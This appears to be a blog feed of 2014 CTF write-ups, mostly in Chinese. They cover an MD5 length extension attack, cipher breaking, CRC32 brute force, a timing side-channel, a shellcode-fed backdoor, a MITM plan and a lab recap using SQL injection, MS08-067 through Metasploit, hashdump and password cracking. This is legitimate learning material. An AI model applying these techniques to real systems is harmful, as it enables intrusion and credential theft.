<li>如果滿足 <code>md5(our num + your num) % odds == 0</code>, 則獲得 odds * bet 的金額</li>
<li>贏得 100w </li>
</ol>
<p>雖然題目說要我們猜一個數字並與 nonce 相加<br>
但是將 nonce reveal 出來<br>
會是一段 hex<br>
轉為 byte 以後,與 num 相加,做 md5 再 % odds<br>
可以到相同的結果<br>
所以其實是字串相加,而不是數字 </p>
<p>這題如果能預先算出 md5 的結果<br>
就能輕鬆獲勝了<br>
有一種 hash 的攻擊方式叫做 <strong>Length Extension Attack</strong> (後簡稱 LEA)<br>
適用於大部分的 hash,如 md5 sha1 sha256<br>
可以在不知道 text,只知道 hash 過的結果的情況下<br>
預測 <code>hash(text + padding + suffix)</code> 的結果 </p>
<p>這邊研究了一下 md5 hash 的過程<br>
首先會切成數個 64 byte 的 block<br>
最後一個 block 如果不是 56 byte 會做 padding<br>
padding 的方式是第一個 byte 為 <code>\x80</code><br>
接著填充 <code>\x00</code><br>
最後 8 byte 補上原始長度 (bit)<br>
接著 md5 會有 4 個初始量 </p>
<div class="highlight"><pre><span></span>a=0x67452301
b=0xEFCDAB89
c=0x98BADCFE
d=0x10325476
</pre></div>
<p>接著會以 a b c d 以及 block[i] 為參數<br>
做一系列的運算<br>
會得到另外四個值 aa bb cc dd<br>
並且將 a b c d 與 aa bb cc dd 做相加<br>
這個過程視為一個 round </p>
<div class="highlight"><pre><span></span>aa,bb,cc,dd = f(a,b,c,d,block[i])
a += aa
b += bb
c += cc
d += dd
</pre></div>
<p>如果後面還有 block 就繼續做運算<br>
直到沒有 block 為止<br>
a b c d 的最終值合併後就是 md5 的結果 </p>
<p>如果 a b c d 的初始值改變的結果會如何 ?<br>
LEA 就是利用這點<br>
如果我們現在已知 <code>md5(nonce + num)</code> 的結果<br>
將其結果還原為 a b c d<br>
並當作 function f 中 a b c d 的初始值<br>
做一次 <code>f(a,b,c,d,msg)</code> 的運算<br>
結果等同於 <code>md5(nonce + num + padding + msg)</code> <br>
所以即使不知道 <code>nonce + num</code><br>
也可以預測出結果 </p>
<p>Talk is cheap, 先 reveal nonce 判斷是否可行: </p>
<div class="highlight"><pre><span></span>nonce = "760c4a0f8ec61bec304ed4d8d8abeb98".decode('hex')
num = 'a\n'
md5(nonce + num) = '5b356daa0313063af25f8da01922128d'
a,b,c,d = md5tonum(md5(nonce + num))
# nonce = 16, a\n = 2, 所以填充\x80+\x00*37 + len 8, total = 64
padding = "\x80"+"\x00"*37 + "\x90"+"\x00"*7
print md5('a\n'+padding+'b\n')
block = [256511094 3961243278 3637792304 2565581784 8391265 0 0 0 0 0 0 0 0 0 144 0 8391266 0 0 0 0 0 0 0 0 0 0 0 0 0 528 0]
md5: 12b74d8200ff1c84500b1e55ada2ce7e
print guess('b\n',a,b,c,d,66) # 新的長度是 66 byte
block = [8391266 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0]
md5: 12b74d8200ff1c84500b1e55ada2ce7e
</pre></div>
<p>剩下的難題就是怎麼樣得到 md5 的結果了<br>
把 odds 設成 100<br>
第一次送 'a\n' 得到 r1<br>
r1 = <code>md5 % 2\*\*100</code><br>
第二次送 'a\n' + padding + 'b\n' 得到 r2<br>
用 r1 推出 a b c d 並用 LEA 預測結果<br>
(a 用 brute-force 的方式去試)<br>
如果結果與 r2 相同<br>
就代表 a 的值是正確的<br>
也就得到完整的 md5 了 </p>
<p>flag: <code>i_dunno_i_ran_out_of_clever_keys</code></p>Plaid CTF 2014 Crypto 20 twenty2014-04-15T00:34:00+08:002014-04-15T00:34:00+08:00ddaatag:ddaa.tw,2014-04-15:/plaidctf_crypto_20_twenty.html<p>Try using English to write the solution down.<br>
However, my English is not so good.<br>
I hope to improve it through this method. :) </p>
<hr>
<p>The problem gave us a bzip2 file. We get the cipher in <code>twenty.txt</code> after extracting it. </p>
<blockquote>
<p>fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgmlxeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxflecaazubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjupouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcgwdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfexwffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwkubrwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwubepkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxubeybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiuoazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlecbeyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbplkfe</p>
</blockquote>
<p>I didn't notice this text is encrypted by replacing …</p><p>Try using English to write the solution down.<br>
However, my English is not so good.<br>
I hope to improve it through this method. :) </p>
<hr>
<p>The problem gave us a bzip2 file. We get the cipher in <code>twenty.txt</code> after extracting it. </p>
<blockquote>
<p>fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgmlxeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxflecaazubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjupouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcgwdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfexwffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwkubrwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwubepkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxubeybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiuoazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlecbeyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbplkfe</p>
</blockquote>
<p>I didn't notice this text is encrypted by replacing at first because there are not blanks or other symbols. I had no idea to solve it until jeffxx tell me <code>fvox</code> = <code>this</code>. </p>
<p>The usual way to break <strong>Substitution cipher</strong> is find some repeat patterns in cipher. The patterns usually present a word in natual language, such as <code>the</code>,<code>this</code>, <code>in</code> ... etc. The more pattern we can find, the more character we get. </p>
<p>However, this cipher does not have any blank or other symbols. It is hard to identify which pattern is the word. Therefore, I used a regular expression dictionary to assist me find a word that match the pattern. </p>
<p>For example, after we substituted 'fvoxw' to <code>thise</code>, we could get a part of plain as below: (The capital letters were substituted.) </p>
<blockquote>
<p>THISISTHEdepagSmESTpukleITShEeHeTuygzepTHeSETHuTgeyTryedIjhETTIyhScEgmlSeylaETSTurETHISecTe<br>
zTHEbecpTpeejuygIyTeTHESTpEETSIjumEuSTuTTHEaEuSTlecaazubEjEIyTHEyepTHEuSThETjlIpEckaIhHTjlzI<br>
pEIaaheHupgEpTHuyEjIyEjdEyTuTjupIuHbuaajEuaIupkecygjEIyTHEuSSdITHyeacmEbHuzIyhlecpEzcbrIyhdI<br>
.... </p>
</blockquote>
<p>Observing the text, we could find some duplicate patterns, like <code>THeSE</code>, <code>STpEET</code>. I guessed that means <code>those</code>, <code>street</code>. If not sure which words match the pattern, we can use dictionary to search possible words. We could get <code>o</code> and <code>r</code>, and substitute them to cipher again. </p>
<p>We could use <strong>google</strong> to search sentences after some characters were substiuted. Finally, I found the plaintext was a lyrics of rap from youtube ([https://www.youtube.com/watch?v=9iUvuaChDEg]). And the last sentence is <strong>CONGRATULATIONSTHEFLAGISSINCENEWCRYPTOMIGHTHAVENSABACKDOORSIUSEOLDCRYPTO</strong>. </p>
<p>flag: <code>sincenewcryptomighthavensabackdoorsiuseoldcrypto</code></p>ACTF 2014 Crypto 老大哥aay的秘密2014-04-14T21:19:00+08:002014-04-14T21:19:00+08:00ddaatag:ddaa.tw,2014-04-14:/actf_forensic_100_aay_secret.html<p>期中考完了來補一下 ACTF write up<br>
打完 plaidctf 覺得自己跟 學長 Orange 217 等大大<br>
差距十分之大 Orz<br>
要花更多時間練習才行 QQ </p>
<hr>
<p>這題給了一個 rar 的檔案<br>
裡面包含 7 個檔案,每個 5 byte<br>
猜測應該是可以從 CRC32 brute-force 出結果<br>
測試一下<br>
<code>echo -ne 'ACTF' > tmp; crc32 tmp; cat tmp</code> </p>
<blockquote>
<p>76f37a57 </p>
</blockquote>
<p>跟 rar 的檔案吻合<br>
應該可以確認猜測無誤 </p>
<p>接著要去 survey CRC32 的算法<br>
結果就找到現成的 code<br>
[http://www …</p><p>期中考完了來補一下 ACTF write up<br>
打完 plaidctf 覺得自己跟 學長 Orange 217 等大大<br>
差距十分之大 Orz<br>
要花更多時間練習才行 QQ </p>
<hr>
<p>這題給了一個 rar 的檔案<br>
裡面包含 7 個檔案,每個 5 byte<br>
猜測應該是可以從 CRC32 brute-force 出結果<br>
測試一下<br>
<code>echo -ne 'ACTF' > tmp; crc32 tmp; cat tmp</code> </p>
<blockquote>
<p>76f37a57 </p>
</blockquote>
<p>跟 rar 的檔案吻合<br>
應該可以確認猜測無誤 </p>
<p>接著要去 survey CRC32 的算法<br>
結果就找到現成的 code<br>
[http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/libkern/crc32.c]<br>
open source 所以可以隨便改 XD<br>
改成 linux 的版本以後就可以開始跑了<br>
因為是 flag 所以應該只有 printable<br>
測試 32 ~ 126<br>
約 5 分鐘跑出結果 </p>
<p>flag: <code>ACTF{ch3ck5um_l34k_y0ur_1nf0m4710n}</code> </p>Cyber Readiness Challenge 2014 Level 1 Summary2014-04-02T22:51:00+08:002014-04-02T22:51:00+08:00ddaatag:ddaa.tw,2014-04-02:/cyber_readiness_challenge_level1_summary.html<p>今天跟 <strong>jeffxx</strong> 和 <strong>atdog</strong> 參加賽門鐵克主辦的 CTF<br>
見識到好多平常只有在網路上看過 id 的 大大 (worship)<br>
題目還滿有趣的~ 從中學到不少東西<br>
希望以後還會有機會參加 XD </p>
<hr>
<p>故事背景是一個因為咖啡廳漲價而心生不滿的中二顧客<br>
決定黑咖啡廳的網路當作報復 (誤 </p>
<p>題目環境給了一個 ip <em>10.1.1.10</em><br>
連過去會到咖啡廳的網站<br>
(因為題目環境是封閉的 所以只能稍微記錄一下做法了 ><) </p>
<h2>Problem 1 300</h2>
<p>這題敘述是要找出咖啡廳是用什麼軟體架設的<br>
點開 source code 就看到註解裡面有記錄了<br>
flag: 忘了 </p>
<h2>Problem 2 500</h2>
<p>這題是要找到一個還沒使用過的優惠券<br>
點到網頁 <em>deals</em> 的分類會看到兩個優惠券<br>
當然都不是 flag<br>
url 大概長這樣 <code>http://10 …</code></p><p>今天跟 <strong>jeffxx</strong> 和 <strong>atdog</strong> 參加賽門鐵克主辦的 CTF<br>
見識到好多平常只有在網路上看過 id 的 大大 (worship)<br>
題目還滿有趣的~ 從中學到不少東西<br>
希望以後還會有機會參加 XD </p>
<hr>
<p>故事背景是一個因為咖啡廳漲價而心生不滿的中二顧客<br>
決定黑咖啡廳的網路當作報復 (誤 </p>
<p>題目環境給了一個 ip <em>10.1.1.10</em><br>
連過去會到咖啡廳的網站<br>
(因為題目環境是封閉的 所以只能稍微記錄一下做法了 ><) </p>
<h2>Problem 1 300</h2>
<p>這題敘述是要找出咖啡廳是用什麼軟體架設的<br>
點開 source code 就看到註解裡面有記錄了<br>
flag: 忘了 </p>
<h2>Problem 2 500</h2>
<p>這題是要找到一個還沒使用過的優惠券<br>
點到網頁 <em>deals</em> 的分類會看到兩個優惠券<br>
當然都不是 flag<br>
url 大概長這樣 <code>http://10.1.1.10/xxxx/deals/1</code><br>
很直覺的去改一下後面的參數<br>
改成 0 就發現多噴一個優惠券<br>
也就是此題的 flag<br>
flag: 忘了 </p>
<h2>Problem 3 1000</h2>
<p>這題是要我們找出隱藏的菜單或 <em>shopadmin</em> 的 password<br>
上一題的 url 有 <code>SQLi</code> 的漏洞<br>
但是我用 <strong>sqlmap</strong> 爆不出來 QQ<br>
在用掉一個有等於沒有的提示後 (try sql syntax in url ... 類似這樣)<br>
確定是 SQli 的漏洞<br>
手動塞 payload<br>
得到 <em>shopadmin</em> 的 <code>md5(password)</code><br>
拿去反查後得到 flag<br>
flag: <code>brewster</code> </p>
<h2>Problem 4 500</h2>
<p>某個 file 記錄著可以存取 WIFI 的 <strong>access code</strong><br>
flag 是 file 的完整路徑<br>
這題也是在網頁上找了很久<br>
結果用了提示才知道是要用 ssh 連進去 ._.<br>
file 就在家目錄下<br>
flag: 忘了 </p>
<h2>Problem 5 300</h2>
<p>要求 WIFI <strong>access code</strong><br>
就在剛剛的檔案裡 送分題<br>
flag: 忘了 </p>
<h2>Problem 6 500</h2>
<p>前面一堆描述忘記是啥了<br>
總之要找出 <em>10.1.2.15</em> 的 hostname<br>
原本以為是用剛剛 ssh 進的主機去反解<br>
結果不是 =.=<br>
這台有開 <strong>netbios</strong> 的 port<br>
google 一下可以用 <strong>netscan</strong> 去掃<br>
就得到 hostname 了<br>
flag: 忘了 </p>
<h2>Problem 7 1000</h2>
<p>打進去就對了 bj4<br>
這題用到的漏洞是 <strong>MS08-067</strong><br>
第一次用 <strong>metasploit</strong> XD<br>
還好這題沒更動什麼<br>
照著教學做就過了<br>
可是我前面不小心按到這題的 hint ... 悲劇<br>
flag: <code>emploees.zip</code> </p>
<h2>Problem 8 300</h2>
<p>該題環境還有另一個帳號<br>
<strong>metasploit</strong> 開啟 shell 以後<br>
用 <code>net user</code> 列出所有使用者<br>
flag: <code>manager</code> </p>
<h2>Problem 9 1000</h2>
<p>第 8 題得到的帳戶似乎密碼可以被破解<br>
flag 就是密碼<br>
用 <strong>metasploit</strong> 內建的 <code>hashdump</code> 得到密碼的 shadow<br>
這題我用網路上的方式爆不出 <strong>NTLM</strong> 的密碼<br>
改用提示的 <strong>John The Ripper</strong> 就爆出來了<br>
flag: <code>COFFEE123</code> </p>
<h2>Problem 10 1000</h2>
<p>第 7 題的 zip 有加密<br>
要想辦法破出密碼<br>
用 <strong>metasploit</strong> 內建的 download 得到 zip 檔<br>
嘗試使用 <strong>fcrackzip</strong> 去破解...但是跑不出來<br>
因為時間不太夠只好打開 hint<br>
提示要用 dictionary<br>
上網找的字典檔要 4G 來不及下載了<br>
在開一個提示才知道原來 kali 已經自帶字典檔了<br>
用 <code>rockyou.txt</code> 成功解出壓縮檔密碼 <code>blingbling</code><br>
flag 在檔案裏面<br>
flag: 忘了 </p>
<hr>
<p>LEVEL 2 是賽門鐵克的產品<br>
根本沒人想去試...<br>
給個 24 小時再說吧 XD </p>
<hr>
<p>LEVEL 3<br>
我開了一個 hint 但是登不進去環境 Q_Q<br>
最後把 hint 全開照著指示還是進不去 WTF~~~<br>
結果是主辦方那邊的 bug ORZ<br>
在分秒必爭之際...我發呆了半小時 囧rz<br>
最後 LEVEL3 只解兩題 so sad<br>
早知道學 atdog 大大 直接找漏洞打 (誤 </p>
<hr>
<p>結束前 scoreboard 就關閉了<br>
不知道自己確切的名次<br>
估計應該在 10 名上下吧 ><<br>
還有很大的努力空間呀~~<br>
這次的題目類型跟平常打的 CTF 相差滿大的<br>
不過也學到很多工具的使用方式<br>
感謝<strong>賽門鐵克</strong>主辦這次活動<br>
以及 <strong>TDOH</strong> 的宣傳 讓我有渠道可以參加這次活動~ </p>VolgaCTF 2014 Crypto 100 Crypto1002014-03-31T01:14:00+08:002014-03-31T01:14:00+08:00ddaatag:ddaa.tw,2014-03-31:/volgactf_crypto_100_crypto100.html<p>crypto 只有解出 100 分而已<br>
其他都沒解出來...<br>
早知道去解別題了 ORZ </p>
<hr>
<p>密文是一個超級大的數字... </p>
<div class="highlight"><pre><span></span>190569475701019412937705231680700513465015462478574872080026036707049434285377110377581884338050290774147519326077986327023814459562710938989987601622114027649584411501029597442404380535706287506751810630518137180840386095680950172667823654745784065
</pre></div>
<p>題目還有給一個遠端的加密程式<br>
試了一下規則有: </p>
<ol>
<li>非英文字母都 = 1 </li>
<li>英文字母不分大小寫</li>
<li>a=4, b=9, c=25, d=49, ..., z=10201</li>
</ol>
<p>很輕易可以看出來對應的數字就是質數的平方<br>
但是如果兩個字元以上就還有一些變化<br>
ex: <em>a=4, aa=32, aaa=1024, aaaa=131072</em><br>
收集一些密文後可以推得遞迴式: </p>
<ul>
<li><code>F(d) = F(d-1) * prime[c] ^ 2 * prime[c] ^ prime[d]</code> </li>
<li>prime[] = 質數陣列, 2 …</li></ul><p>crypto 只有解出 100 分而已<br>
其他都沒解出來...<br>
早知道去解別題了 ORZ </p>
<hr>
<p>密文是一個超級大的數字... </p>
<div class="highlight"><pre><span></span>190569475701019412937705231680700513465015462478574872080026036707049434285377110377581884338050290774147519326077986327023814459562710938989987601622114027649584411501029597442404380535706287506751810630518137180840386095680950172667823654745784065
</pre></div>
<p>題目還有給一個遠端的加密程式<br>
試了一下規則有: </p>
<ol>
<li>非英文字母都 = 1 </li>
<li>英文字母不分大小寫</li>
<li>a=4, b=9, c=25, d=49, ..., z=10201</li>
</ol>
<p>很輕易可以看出來對應的數字就是質數的平方<br>
但是如果兩個字元以上就還有一些變化<br>
ex: <em>a=4, aa=32, aaa=1024, aaaa=131072</em><br>
收集一些密文後可以推得遞迴式: </p>
<ul>
<li><code>F(d) = F(d-1) * prime[c] ^ 2 * prime[c] ^ prime[d]</code> </li>
<li>prime[] = 質數陣列, 2, 3, 5, ... </li>
<li>d = 第 d 個字元 </li>
<li>c = 字元 (ex: a = 0, b = 1, c = 2, ...) </li>
</ul>
<p>ex : <em>aaa = 32 (aa 的 值) * 4 (a 對應的值) * 2 ^ 5 (3rd prime) = 1024</em> </p>
<p>我們可以把 cipher 做<strong>因式分解</strong><br>
所包含的質數就代表 plain 包含該字元<br>
並且計算其次方<br>
如果 <em>次方 - 2</em> 是質數<br>
就表示是該字元只出現過一次 </p>
<p>至此也就只能分析出用上的字元有 <em>a c e i l m n o p q r s t u v</em><br>
以及第三個字元是 <em>q</em><br>
某個字元是 <em>v</em><br>
某個字元是 <em>m</em><br>
其它會有 collision 無法正確判斷位置 </p>
<p>直到提示給了 <em>plain text is a meaningful word</em><br>
抱著隨意嘗試的心態去找超級長的單字<br>
結果還真的有符合條件的 = = </p>
<p>flag: <code>aequeosalinocalcalinoceraceoaluminosocupreovitriolic</code> </p>VolgaCTF 2014 Exploit 100 Exploit1002014-03-31T00:48:00+08:002014-03-31T00:48:00+08:00ddaatag:ddaa.tw,2014-03-31:/volgactf_exploit_100_exploit100.html<p>突然被揪來玩的一次ctf XDD<br>
結果說好的養身又沒了 OTZ<br>
這次想嘗試解比較難的題目<br>
結果就是 very not work ....<br>
希望下次能解些分數比較高的題目 QQ </p>
<hr>
<p>一樣先看題目環境: </p>
<blockquote>
<p>The password consists of 12 printable characters<br>
111111111111<br>
344 </p>
</blockquote>
<div class="highlight"><pre><span></span>while(1){
...
if ( v5 == 12 )
break;
v7 = rand() % 1000;
for ( j = 0; j < v5; ++j )
{
for ( k = 1; (unsigned int)k <= 0xDEADBEEE; ++k )
v7 = k ^ (k + v7);
}
sprintf(&s …</pre></div><p>突然被揪來玩的一次ctf XDD<br>
結果說好的養身又沒了 OTZ<br>
這次想嘗試解比較難的題目<br>
結果就是 very not work ....<br>
希望下次能解些分數比較高的題目 QQ </p>
<hr>
<p>一樣先看題目環境: </p>
<blockquote>
<p>The password consists of 12 printable characters<br>
111111111111<br>
344 </p>
</blockquote>
<div class="highlight"><pre><span></span>while(1){
...
if ( v5 == 12 )
break;
v7 = rand() % 1000;
for ( j = 0; j < v5; ++j )
{
for ( k = 1; (unsigned int)k <= 0xDEADBEEE; ++k )
v7 = k ^ (k + v7);
}
sprintf(&s, "%x\n", v7);
write(fd, &s, strlen(&s));
}
write(fd, v10, strlen(v10));
</pre></div>
<p>這題會接受 12 個字元<br>
然後跟 <em>password.txt</em> 比對<br>
如果相同就會把 flag 印出來<br>
如果不同則會檢查有幾個字元是相同<br>
把結果存在變數 <code>v5</code><br>
接著對密碼做 v5 次的 xor 運算 然後把結果回傳<br>
比如說 答對兩個字元就會做兩次計算<br>
全部答錯則一次都不計算 </p>
<p>想了一陣子突然發現這題根本不用知道運算的結果<br>
因為只要不是全部答錯就會花上好一段時間去算<br>
可以用是不是馬上回傳結果來判斷 <code>input == password</code><br>
用的技巧跟 <strong>SQli</strong> 猜密碼差不多<br>
先找出一個不包含在 password 的字元<br>
接著逐步嘗試每個位置<br>
ex : <code>a11111111111</code><br>
如果 a 包含在 password 就會花一段時間去計算<br>
反之則馬上有結果<br>
最後試出來的結果是 <code>S@nd_will2z0</code><br>
p.s 這題最難的地方是題目環境一直掛掉 </p>
<p>flag : <code>Time_works_for_you</code> </p>BCTF 2014 PWN 100 後門程序2014-03-12T18:12:00+08:002014-03-12T18:12:00+08:00ddaatag:ddaa.tw,2014-03-12:/bctf_pwn_100_backdoor.html<p>這題算是很基本的 pwn<br>
但是可能因為中間有點小陷阱<br>
所以解出來的人不多 (? </p>
<hr>
<p>連到目標環境後會印出一堆歌詞 (?<br>
輸入 n 就離開程式,不然會在印一次歌詞 </p>
<blockquote>
<p>...<br>
Drink all the booze<br>
Hack all the things </p>
<p>Replay?(y/n) </p>
</blockquote>
<p>檢查程式以後<br>
程式有故意留下的 backdoor<br>
只要 input 符合條件<br>
就會跳轉到 buf 執行 shellcode<br>
行為如下:</p>
<ol>
<li>判斷 input 第一個字是否為 'n' or 'N',是則終止程式 </li>
<li>將 input 與 <code><baidu-rocks,froM-china-with-love></code> 做 xor 加密 </li>
<li>如果 xor 後前面 10 …</li></ol><p>這題算是很基本的 pwn<br>
但是可能因為中間有點小陷阱<br>
所以解出來的人不多 (? </p>
<hr>
<p>連到目標環境後會印出一堆歌詞 (?<br>
輸入 n 就離開程式,不然會在印一次歌詞 </p>
<blockquote>
<p>...<br>
Drink all the booze<br>
Hack all the things </p>
<p>Replay?(y/n) </p>
</blockquote>
<p>檢查程式以後<br>
程式有故意留下的 backdoor<br>
只要 input 符合條件<br>
就會跳轉到 buf 執行 shellcode<br>
行為如下:</p>
<ol>
<li>判斷 input 第一個字是否為 'n' or 'N',是則終止程式 </li>
<li>將 input 與 <code><baidu-rocks,froM-china-with-love></code> 做 xor 加密 </li>
<li>如果 xor 後前面 10 byte == 'n0b4CKd00r' 就轉到 buf + 1 </li>
</ol>
<p>所以我們要計算 <code>n0b4CKd00r</code> + <code>shellcode</code> xor 後的值
但是陷阱在於 scanf 讀到某些字元就會終止 <code>ex: \x00</code><br>
導致 shellcode 沒有完全被載入<br>
還好這題沒有對 shell code 長度做限制<br>
可以靠塞 nop 調整 shellcode 的 offset 來避開特殊字元<br>
接著就發現 <code>/home/ctf/flag.txt</code> 底下有答案了 </p>
<p>flag: <code>BCTF{H4v3-4-n1C3-pWn1ng-f3sT1v4l!!}</code> </p>BCTF 2014 PPC & CRYPTO 100 混沌密碼鎖2014-03-12T02:26:00+08:002014-03-12T02:26:00+08:00ddaatag:ddaa.tw,2014-03-12:/bctf_crypto_100_password_lockstitch.html<p>百度 CTF blue-lotus 辦的<br>
個人覺得題目還滿有趣的<br>
不過到處都是置入性行銷 XD </p>
<hr>
<p>環境是用 python 寫的一個伺服器<br>
先試試看要我們幹嘛: </p>
<blockquote>
<p>Welcome to Secure Passcode System<br>
First, please choose function combination:<br>
f1: 1<br>
f2: 2<br>
f3: 3<br>
f4: 4<br>
Wrong function combination, you bad guy! </p>
</blockquote>
<p>trace 原始碼得知<br>
輸入的四個數字會對應到四個 function<br>
並以輸入的順序將 answer 解密 </p>
<div class="highlight"><pre><span></span>f['fun1']=reverse
f['fun2']=base64.b64decode
f …</pre></div><p>百度 CTF blue-lotus 辦的<br>
個人覺得題目還滿有趣的<br>
不過到處都是置入性行銷 XD </p>
<hr>
<p>環境是用 python 寫的一個伺服器<br>
先試試看要我們幹嘛: </p>
<blockquote>
<p>Welcome to Secure Passcode System<br>
First, please choose function combination:<br>
f1: 1<br>
f2: 2<br>
f3: 3<br>
f4: 4<br>
Wrong function combination, you bad guy! </p>
</blockquote>
<p>trace 原始碼得知<br>
輸入的四個數字會對應到四個 function<br>
並以輸入的順序將 answer 解密 </p>
<div class="highlight"><pre><span></span>f['fun1']=reverse
f['fun2']=base64.b64decode
f['fun3']=zlib.decompress
f['fun4']=dec2hex
f['fun5']=binascii.unhexlify
f['fun6']=gb2312
f['fun7']=bin2dec
f['fun8']=hex2bin
f['fun9']=hex2dec
answer = 78864179732635837913920409948348078659913609452869425042153399132863903834522
3652502504296451635172283566227769786379106795384189279098815026542757070698107378508
0761091619256306959366409460515974044867013206561595622472701295421839060280657753745
6281222826375
answer_hash = f['fun6'](f['fun2'](f[f1](f[f2](f[f3](f[f4](answer))))))
</pre></div>
<p>answer 都是數字,大膽猜測 f4 是<code>dec2hex</code><br>
且 <code>fun6</code> 和 <code>fun2</code> 已經被使用,剩下的只有6種<br>
而且後面三種看起來很像來亂的<br>
所以就先試前三種做排列組合<br>
結果就找到順序是 <code>3 5 1 4</code> </p>
<p>但是這只是第一關而已<br>
麻煩的在後面<br>
接著要求我們輸入 passcode<br>
程式會將 passcode 以相同的順序作解密<br>
比對結果是否與 <code>answer_hash</code> 相同<br>
若相同則會將 flag 印出<br>
但是 passcode 不能與 answer 相等<br>
也就是說要找到另一組數字才行 </p>
<p>仔細觀察前面用到的四個 functio n
<code>reverse</code> 肯定是 1-to-1<br>
<code>base64</code> 和 <code>dec2hex</code> 也是<br>
那就只有 <code>zlib.decompress</code> 可以做文章了<br>
試了一下在 zlib.decompress 的參數後面加料後對結果不影響 XD </p>
<div class="highlight"><pre><span></span>x = ((f[f2](f[f3](f[f4](answer)))))
y = binascii.hexlify(x)+"01"
x = y.decode('hex')
test = f['fun6'](f['fun2'](f['fun3'](x)))
if test == answer_hash:
print 'same'
</pre></div>
<p>此時 <code>fun9</code> 就有用了<br>
我們可以用他們來生一組新的 passcode </p>
<div class="highlight"><pre><span></span>print f['fun9'](f['fun1'](y))
</pre></div>
<blockquote>
<p>Your passcode: 2046914671302815174999479572879926709311623516344310480161044657024943192185778242098416328741805906729519967582134066703522565680955045139113850683617281109011304982006585757796402695817434740126949224951202731646556997125542758488503105749434074546856689060231<br>
Welcome back! The door always open for you, your majesty!</p>
</blockquote>
<p>flag: <code>BCTF{py7h0n-l1b-func7i0ns-re4lly-str4nge}</code></p>Boston Key Party CTF 2014 Crypto 200 MITM II: Electric Boogaloo2014-03-03T16:48:00+08:002014-03-03T16:48:00+08:00ddaatag:ddaa.tw,2014-03-03:/bkpctf_crypto_200_200_mitm_ii_electric_boogaloo.html<p>這題還滿簡單的<br>
解法就是題目名稱 = =<br>
可是不知道為什麼很少人解出來<br>
可能是太晚出來被大家忽略吧 0.0 </p>
<hr>
<p>題目敘述如下: </p>
<blockquote>
<p>Chisa and Arisu are trying to tell each other two halves of a very important secret! They think they're safe, because they know how cryptography works---but can you learn their terrible, terrible secret? They're available as services at 54.186.6.201:12346 …</p></blockquote><p>這題還滿簡單的<br>
解法就是題目名稱 = =<br>
可是不知道為什麼很少人解出來<br>
可能是太晚出來被大家忽略吧 0.0 </p>
<hr>
<p>題目敘述如下: </p>
<blockquote>
<p>Chisa and Arisu are trying to tell each other two halves of a very important secret! They think they're safe, because they know how cryptography works---but can you learn their terrible, terrible secret? They're available as services at 54.186.6.201:12346 and 54.186.6.201:12345 respectively.<br>
http://bostonkeyparty.net/challenges/mitm2-632e4ecc332baba0943a0c6471dec2c6.tar.bz2</p>
</blockquote>
<p>附檔是環境的 source code<br>
分析後發現目標會有以下行為: </p>
<ol>
<li>接收 username 並檢查是不是對方名稱 如果錯誤則結束</li>
<li>生成 secretkey 和 publickey ,將 publickey 傳送給對方</li>
<li>接收對方的 publickey,用自己的 secretkey 和 對方的 publickey 生成 aeskey</li>
<li>將 CHECK 中的奇數(或偶數)字元以 aeskey 加密後傳送給對方</li>
<li>用 aeskey 解密訊息,並檢查收到的 CHECK 是否正確,如果有錯誤則結束</li>
<li>用 aeskey 加密 flag,並傳送給對方,以及解密對方傳來的 flag</li>
</ol>
<p>MITM attack 簡單的說就是<br>
原本是 <code>A ←→ B</code> 之間傳遞訊息<br>
變成 <code>A ←→ C ←→ B</code> 由 C 攔截後並轉送訊息<br>
因為接收 publickey 之後沒有確認來源 (所以需要數位簽章)<br>
所以我們可以在中間攔截並偽造 publickey </p>
<p>所以這題的解法為:</p>
<ol>
<li>向雙方送正確的 username,<code>アリスです</code> 和 <code>千佐だよ</code></li>
<li>生成 fake secret key (fseckey) and public key (fpubkey),並傳送 fpubkey 給雙方</li>
<li>用接收到的 pubkeyA & pubkeyB 和 fseckey 生成 aeskeyA & aeskeyB</li>
<li>用 aeskeyA 解密 A 傳來的 CHECK,並以 aeskeyB 加密傳送給 B</li>
<li>用 aeskeyB 解密 B 傳來的 CHECK,並以 aeskeyA 加密傳送給 A</li>
<li>用 aeskeyA & aeskeyB 解密 flag</li>
